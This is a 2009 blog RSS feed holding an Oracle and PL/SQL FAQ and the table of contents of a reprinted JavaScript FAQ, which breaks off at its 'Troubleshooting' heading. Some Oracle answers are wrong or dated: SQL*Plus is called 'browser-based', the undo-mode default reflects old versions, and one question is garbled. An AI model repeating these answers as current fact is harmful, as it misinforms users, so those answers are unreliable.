<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; FAQ</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/faq/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Oracle &#8211; Frequently Asked Questions</title>
		<link>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/</link>
		<comments>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 11:52:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[Oracle - Frequently Asked Questions]]></category>
		<category><![CDATA[Oracle PL/SQL FAQ]]></category>
		<category><![CDATA[What are the components of SGA?]]></category>
		<category><![CDATA[What is ORACLE?]]></category>
		<category><![CDATA[What is SGA?]]></category>
		<category><![CDATA[What is the function of Checkpoint (CKPT)?]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=193</guid>
		<description><![CDATA[1. What is ORACLE?
Oracle is a Relational Database Management System (RDBMS) which is used widely for business applications.
 2. What is SGA?
The System Global Area (SGA) is a shared memory region allocated by ORACLE that contains data and control information for one ORACLE instance.
 3. What is the function of Checkpoint (CKPT)?
The Checkpoint (CKPT) process is responsible for signaling DBWR at checkpoints and updating all the data files and control files of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. What is ORACLE?</strong></p>
<p style="margin: 0in 0in 0pt;">Oracle is a Relational Database Management System (RDBMS) which is used widely for business applications.</p>
<p> <strong>2. What is SGA?</strong></p>
<p style="margin: 0in 0in 0pt;">The System Global Area (SGA) is a shared memory region allocated by ORACLE that contains data and control information for one ORACLE instance.</p>
<p> <strong>3. What is the function of Checkpoint (CKPT)?</strong></p>
<p style="margin: 0in 0in 0pt;">The Checkpoint (CKPT) process is responsible for signaling DBWR at checkpoints and updating all the data files and control files of the database.</p>
<p style="margin: 0in 0in 0pt;">The CKPT is also useful to get the point in time from where to begin the recovery in case of failure.</p>
<p style="margin: 0in 0in 0pt;"> Which background process is responsible for writing the dirty buffers from the write list to the data files during a checkpoint?</p>
<p style="margin: 0in 0in 0pt;">The DBWn is usually responsible for this.</p>
<p style="margin: 0in 0in 0pt;"> What are the components of SGA? </p>
<p style="margin: 0in 0in 0pt;">The components of the SGA are Database buffers, Redo Log Buffer and the Shared Pool.</p>
<p><strong> </strong><strong> 4. What constitute an ORACLE Instance?</strong></p>
<p style="margin: 0in 0in 0pt;">SGA and ORACLE background processes together constitute an ORACLE instance.</p>
<p style="margin: 0in 0in 0pt;"> What do Database Buffers contain?</p>
<p style="margin: 0in 0in 0pt;">Database Buffers store the most recently used blocks of database data. They can also contain modified data that has not yet been permanently written to disk.</p>
<p> <strong>5. What do Redo Log Buffers contain?</strong></p>
<p style="margin: 0in 0in 0pt;">Redo Log Buffers store redo entries or a log of changes made to the database.</p>
<p> <strong> 6. What is Shared Pool?</strong></p>
<p style="margin: 0in 0in 0pt;">Shared pool is composed of two parts; Library Cache and Data Dictionary Cache.</p>
<p style="margin: 0in 0in 0pt;">The Library Cache contains the shared SQL areas, private SQL areas, PL/SQL procedures and packages, and control structures such as locks and Library Cache handles. The shared SQL area contains the parse tree and execution plan; whereas the private SQL area contains values for bind variables and runtime buffers. The data dictionary cache holds most recently used database dictionary information.</p>
<p> </p>
<p style="margin: 0in 0in 0pt;"><strong> 7. What is the default undo management mode in ORACLE? </strong></p>
<p style="margin: 0in 0in 0pt;">The default undo management mode is manual.</p>
<p> <strong>8. How can you dynamically size the SGA?</strong></p>
<p style="margin: 0in 0in 0pt;">You can do this using the Alter System command.</p>
<p>  <strong>9. What is the Multiple Block size? </strong></p>
<p style="margin: 0in 0in 0pt;">We can assign different block sizes for each table space. This is called the Multiple Block size.</p>
<p> </p>
<p style="margin: 0in 0in 0pt;"> <strong>10. Where are the compiled functions and procedures stored in memory? </strong></p>
<p style="margin: 0in 0in 0pt;">These are stored in the Library Cache.</p>
<p>  <strong>11. What is SQL*PLUS? </strong></p>
<p style="margin: 0in 0in 0pt;">It is a browser-based interface to communicate with the database.</p>
<p> <strong> 12. What are the advantages of creating clusters in ORACLE?</strong></p>
<p style="margin: 0in 0in 0pt;">It improves the efficiency of join queries and they are storage efficient.</p>
<p> <strong> 13. What are Bind Variables?</strong></p>
<p style="margin: 0in 0in 0pt;">A bind variable is a variable that you declare in a host environment. Bind variables can be used to pass run-time values, either number or character, into or out of one or more PL/SQL programs. The PL/SQL programs use bind variables as they would use any other variable. You can reference variables declared in the host or calling environment in PL/SQL statements, unless the statement is in a procedure, function, or package. This includes host language variables declared in precompiler programs, screen fields in Oracle Developer Forms applications, and iSQL*Plus bind variables.</p>
<p> <strong> 14. How to create Bind Variables?</strong></p>
<p style="margin: 0in 0in 0pt;">To declare a bind variable in the iSQL*Plus environment, use the command VARIABLE. For example, you declare a variable of type NUMBER and VARCHAR2 as follows:</p>
<p style="margin: 0in 0in 0pt;">VARIABLE return_code NUMBER</p>
<p style="margin: 0in 0in 0pt;">VARIABLE return_msg  VARCHAR2(30)</p>
<p style="margin: 0in 0in 0pt;">Both SQL and iSQL*Plus can reference the bind variable, and iSQL*Plus can display its value through the iSQL*Plus PRINT command.</p>
<p>  <strong>15. Explain few programming guidelines for PL/SQL ?</strong></p>
<p style="margin: 0in 0in 0pt;">To produce clear code and reduce maintenance when developing a PL/SQL block follow the below listed guidelines</p>
<p style="margin: 0in 0in 0pt;">-              Documenting code with comments</p>
<p style="margin: 0in 0in 0pt;">-              Developing a case convention for the code</p>
<p style="margin: 0in 0in 0pt;">-              Developing naming conventions for identifiers and other objects</p>
<p style="margin: 0in 0in 0pt;">-              Enhancing readability by indenting</p>
<p><strong> </strong><strong>16. What are the advantages of using cursors with FOR LOOPS?</strong></p>
<p style="margin: 0in 0in 0pt;">A cursor FOR loop is a shortcut because of the following reasons</p>
<p style="margin: 0in 0in 0pt;">-              the cursor is opened automatically when the for loop is encountered for the first time and fetches the first row</p>
<p style="margin: 0in 0in 0pt;">-              rows are fetched once for each iteration in the loop</p>
<p style="margin: 0in 0in 0pt;">-              The loop itself is terminated automatically at the end of the iteration where the last row is fetched.</p>
<p>  <strong>17. What is the use of NO WAIT option with SELECT&#8230;. FOR UPDATE clause?</strong></p>
<p style="margin: 0in 0in 0pt;">The optional NOWAIT keyword tells Oracle not to wait if requested rows have been locked by another user. Control is immediately returned to your program so that it can do other work before trying again to acquire the lock. If you omit the NOWAIT keyword , Oracle waits until the rows are available.</p>
<p> <strong>18. Can we use raise system defined exceptions  explicitly by issuing the RAISE statement?</strong></p>
<p style="margin: 0in 0in 0pt;">Yes, you can. For example : RAISE NO_DATA_FOUND</p>
<p>  <strong>19. Can we handle the exception raised by RAISE_APPLICATION_ERROR?</strong></p>
<p style="margin: 0in 0in 0pt;">Yes. For example, you can write &#8220;WHEN OTHERS&#8221; exception handler, and handler for this.</p>
<p> <strong>20. Can we assign default values to all modes of parameters in a subprogram?</strong></p>
<p style="margin: 0in 0in 0pt;">You can assign default values only to parameters of the IN mode. OUT and IN OUT parameters are not permitted to have default values.</p>
<p>  <strong>21. How Procedures are different from Functions?</strong></p>
<p style="margin: 0in 0in 0pt;">You create a procedure to store a series of actions for later execution. A procedure can contain zero or more parameters that can be transferred to and from the calling environment, but a procedure does not have to return a value.</p>
<p style="margin: 0in 0in 0pt;">You create a function when you want to compute a value, which must be returned to the calling environment. A function can contain zero or more parameters that are transferred from the calling environment. Functions should return only a single value, and the value is returned through a RETURN statement. Functions used in SQL statements cannot have OUT or IN OUT mode parameters.</p>
<p>  <strong>22. What is the use of SHOW ERRORS command?</strong></p>
<p style="margin: 0in 0in 0pt;">SHOW ERRORS command is used  at the SQL prompt to obtain compilation errors for the last object you compiled.</p>
<p style="margin: 0in 0in 0pt;">You can also use the command with a specific program unit. The syntax is as follows:</p>
<p style="margin: 0in 0in 0pt;">SHOW ERRORS [{FUNCTION|PROCEDURE|PACKAGE|PACKAGE BODY|TRIGGER|VIEW} [schema.]name]</p>
<p style="margin: 0in 0in 0pt;">Example : SHOW ERRORS PROCEDURE p1</p>
<p style="margin: 0in 0in 0pt;">Using the SHOW ERRORS command, you can view only the compilation errors that are generated by the latest statement that is used to create a subprogram. The USER_ERRORS data dictionary view stores all the compilation errors generated previously while creating subprograms.</p>
<p><strong> </strong><strong> 23. How to drop one member of a package?</strong></p>
<p style="margin: 0in 0in 0pt;">You cannot drop members of a package using DROP command. When you drop the package, all the members of the package are automatically dropped. To drop or add any members of the package, rewrite the whole package again.</p>
<p><strong> </strong><strong> 24. What will happen to the dependent constructs of a package ,if we change the package specification?</strong></p>
<p style="margin: 0in 0in 0pt;">Changes to the package body do not require recompilation of dependent constructs, whereas changes to the package specification require recompilation of every stored subprogram that references the package. To reduce the need for recompiling when code is changed, place as few constructs as possible in a package specification.</p>
<p>  <strong>25. Explain the firing sequence for a trigger on a table.</strong></p>
<p style="margin: 0in 0in 0pt;">The sequence is as below :</p>
<p>a.            Before Statement Trigger</p>
<p>b.            Before Row Trigger</p>
<p>c.             After row trigger</p>
<p>d.            After statement Trigger</p>
<p>  <strong>26. Can we write INSTEAD OF triggers on tables?</strong></p>
<p style="margin: 0in 0in 0pt;">No, it is written only on views</p>
<p><strong> </strong><strong> 27. What will happen to triggers when the table on which the trigger is written?</strong></p>
<p style="margin: 0in 0in 0pt;">All triggers on a table are automatically dropped when the  table is dropped.</p>
<p style="margin: 0in 0in 0pt;"> </p>
<p style="margin: 0in 0in 0pt;"> </p>
<p style="margin: 0in 0in 0pt;"> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/04/29/oracle-frequently-asked-questions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JAVASCRIPT FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/25/javascript-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/25/javascript-faq/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 03:10:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[Can I mirror or reprint this FAQ?]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[How is JavaScript syntax like C / C++?]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[JAVASCRIPT FAQ]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[tec]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[Web applications]]></category>
		<category><![CDATA[What is JavaScript?]]></category>
		<category><![CDATA[What versions of the language does this FAQ cover?]]></category>
		<category><![CDATA[What's not covered here?]]></category>
		<category><![CDATA[Where can I find online documentation for JavaScript?]]></category>
		<category><![CDATA[Who wrote this FAQ?]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=164</guid>
		<description><![CDATA[
 
 

This FAQ has been taken from http://www.intranetjournal.com/faq/js-faq.shtml with the permission of the editor.
For more details visit Intranet Journal at
http://idm.internet.com/index.html
http://www.intranetjournal.com/faq/js-faq.shtml
 
1.    General 
1.      What is JavaScript? 
2.      What versions of the language does this FAQ cover? 
3.      What&#8217;s not covered here? 
4.      Who wrote this FAQ? 
5.      Can I mirror or reprint this FAQ? 
 
2.    JavaScript Documentation [...]]]></description>
			<content:encoded><![CDATA[<div class="Section1"><strong><span style="text-decoration: underline;"></p>
<p class="MsoNormal"> </p>
<p> </p>
<p></span></strong></p>
<p class="MsoNormal" style="text-align: left;" align="left"><a name="TOP7"></a><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">This FAQ has been taken from</span><span style="font-weight: normal; color: navy; text-decoration: none; text-underline: none;"> </span><span style="font-size: 9pt; mso-bidi-font-size: 7.5pt;"><a href="http://www.intranetjournal.com/faq/js-faq.shtml"><span style="color: #0000ff;">http://www.intranetjournal.com/faq/js-faq.shtml</span></a> </span><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">with the permission of the editor.</span></p>
<p class="MsoNormal" style="text-align: left;" align="left"><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">For more details visit Intranet Journal at</span></p>
<p class="MsoNormal" style="text-indent: 0.25in;"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><a href="http://idm.internet.com/index.html"><span style="color: #0000ff;">http://idm.internet.com/index.html</span></a></span></p>
<p class="MsoNormal" style="text-indent: 0.25in;"><a href="http://www.intranetjournal.com/faq/js-faq.shtml"><span style="color: #0000ff;">http://www.intranetjournal.com/faq/js-faq.shtml</span></a></p>
<p class="MsoNormal" style="text-indent: 0.25in;"> </p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">General</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_1"><span style="color: #0000ff;">What is JavaScript?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_2"><span style="color: #0000ff;">What versions of the language does this FAQ cover? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_3"><span style="color: #0000ff;">What&#8217;s not covered here? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_4"><span style="color: #0000ff;">Who wrote this FAQ? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_5"><span style="color: #0000ff;">Can I mirror or reprint this FAQ? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">JavaScript Documentation</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ2_1"><span style="color: #0000ff;">Where can I find online documentation for JavaScript? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ2_2"><span style="color: #0000ff;">Where is the official bug list for JavaScript? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ2_3"><span style="color: #0000ff;">Read any good JavaScript books lately? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">First Principles</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_1"><span style="color: #0000ff;">What are the language&#8217;s basic entities? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_2"><span style="color: #0000ff;">How does JavaScript model the world? (Nifty Object Map.) </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_3"><span style="color: #0000ff;">What are JavaScript event handlers? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_4"><span style="color: #0000ff;">How is JavaScript syntax like C / C++? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">How do I &#8230;</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_1"><span style="color: #0000ff;">&#8230; embed JavaScript in a web page? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_2"><span style="color: #0000ff;">&#8230; use &#8216;var&#8217; to make a variable name local? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_3"><span style="color: #0000ff;">&#8230; use quotation marks when scripting? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_4"><span style="color: #0000ff;">&#8230; submit forms by e-mail? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_5"><span style="color: #0000ff;">&#8230; script a visit counter? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">6.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_6"><span style="color: #0000ff;">&#8230; script a calendar on the fly?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">7.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_7"><span style="color: #0000ff;">&#8230; access objects and scripts in windows opened with <code><span style="mso-bidi-font-family: Arial; mso-ansi-font-size: 12.0pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">window.open()</span></code>? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">8.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_8"><span style="color: #0000ff;">&#8230; use JavaScript to password-protect my Web site? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">9.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_9"><span style="color: #0000ff;">&#8230; write browser-independent scripts? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">10.<span style="font: 7pt 'Times New Roman';"> </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_10"><span style="color: #0000ff;">&#8230; match text patterns like I can in Perl? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">11.<span style="font: 7pt 'Times New Roman';"> </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_11"><span style="color: #0000ff;">&#8230; prevent others from seeing/copying my scripts? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">12.<span style="font: 7pt 'Times New Roman';"> </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_12"><span style="color: #0000ff;">&#8230; detect whether JavaScript support has been disabled?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Troubleshooting</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
